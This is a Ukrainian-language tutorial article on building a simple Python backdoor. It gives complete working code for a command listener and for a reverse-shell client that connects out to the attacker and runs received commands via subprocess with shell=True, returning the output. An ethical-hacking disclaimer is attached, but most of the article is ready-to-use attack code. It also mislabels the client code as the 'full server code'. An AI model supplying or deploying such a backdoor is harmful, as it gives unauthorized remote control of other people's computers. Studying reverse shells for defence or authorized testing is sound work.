Створення бекдора на Python
Бекдор - це інструмент, який дає змогу хакеру віддалено підключитися до цільової машини. У цій статті буде показано, як створити простий бекдор на Pyhton
Бекдор на Python
Основна мета бекдора - надсилати і виконувати команди та отримати віддалений доступ до файлів на цільовій системі.
В інформаційній безпеці існує два основних типи корисного навантаження:
Оболонки створюють сервер безпосередньо на цільовій машині, до якого може підключитися хакер.
Зворотні оболонки складаються з двох частин: клієнта і сервера. Клієнтський модуль запускається на цільовій машині і самостійно підключається до комп'ютера хакера.
Стаття написана в освітніх цілях, для навчання етичних хакерів. Під час демонстрації роботи були використані особисті пристрої автора. Використання подібних інструментів без належного письмового дозволу, є незаконним і буде розцінюватися, як кримінальний злочин. Автор не несуть відповідальності за ваші дії.
Оскільки напрямок вихідного з'єднання був "зворотним" (наприклад, від жертви до зловмисника), оболонка отримала назву зворотної оболонки або бекдор. Далі ми напишемо бекдор на Python. Для розуміння, цільовий комп'ютер називатиметься жертвою, а машина хакера - атакуючим.
Створення бекдора на Python
По-перше, ми маємо створити сервер, на якому працюватимемо. Сервер складатиметься з чотирьох частин:
- Отримання нашого локального IP і зазначеного порту.
- Прив'язка IP-адреси та порту для створення сокета.
- Запуск слухача.
- Надсилання та отримання команд у нескінченному циклі.
# Імпорт import socket # Отримуємо наш локальний IP і вказаний portHOST = '127.0.0.1' # '192.168.43.82' PORT = 8081 # 2222 new_port = input('Input Host Port (Blank if default).') if (new_port != "\n"): REMOTE_PORT = new_port # Прив'язка IP до порту # Створення сокета server = socket.socket() server.bind((HOST, PORT)) # Запуск Слухача print('[+] Server Started') print('[+] Listening For Client Connection ...') server.listen(1)client, client_addr = server.accept() print(f'[+] {client_addr} Client connected to the server') # Надсилання та отримання команд у нескінченному циклі while True: command = input('Enter Command : ') command = command.encode() client.send(command) print('[+] Command sent') output = client.recv(1024) output = output.decode() print(f"Output: {output}")
Потім ми підключимося до атакуючого на основі жорстко запрограмованої IP-адреси та порту, оскільки він не може отримати їх динамічно.
Оскільки ми запускаємо цю зворотну оболонку на локальній машині, сокет буде виглядати так:
REMOTE_HOST = '127.0.0.1' REMOTE_PORT = 8081 # 2222 client = socket.socket()
Далі ми повинні отримувати команди і використовувати бібліотечний підпроцес для відкриття терміналу і паралельного запуску команд. Ось як це буде виглядати:
command = client.recv(1024) command = command.decode() op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
Повний код сервера має такий вигляд:
# Imports from ctypes.wintypes import INT import socket import subprocess # Setting Up IP/Sockets REMOTE_HOST = '127.0.0.1' REMOTE_PORT = 8081 # 2222 client = socket.socket() # Initializing Connection print("[-] Connection Initiating...") client.connect((REMOTE_HOST, REMOTE_PORT)) print("[-] Connection initiated!") # Runtime Loop while True: print("[-] Awaiting commands...") command = client.recv(1024) command = command.decode() op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) output = op.stdout.read() output_error = op.stderr.read() print("[-] Sending response...") client.send(output + output_error)
Ось приклад зворотної оболонки в дії:
Запуск спочатку сервера, а потім клієнта дасть змогу використовувати сервер для надсилання та отримання даних. Повний код див. на GitHub.
Матеріал взято з сайту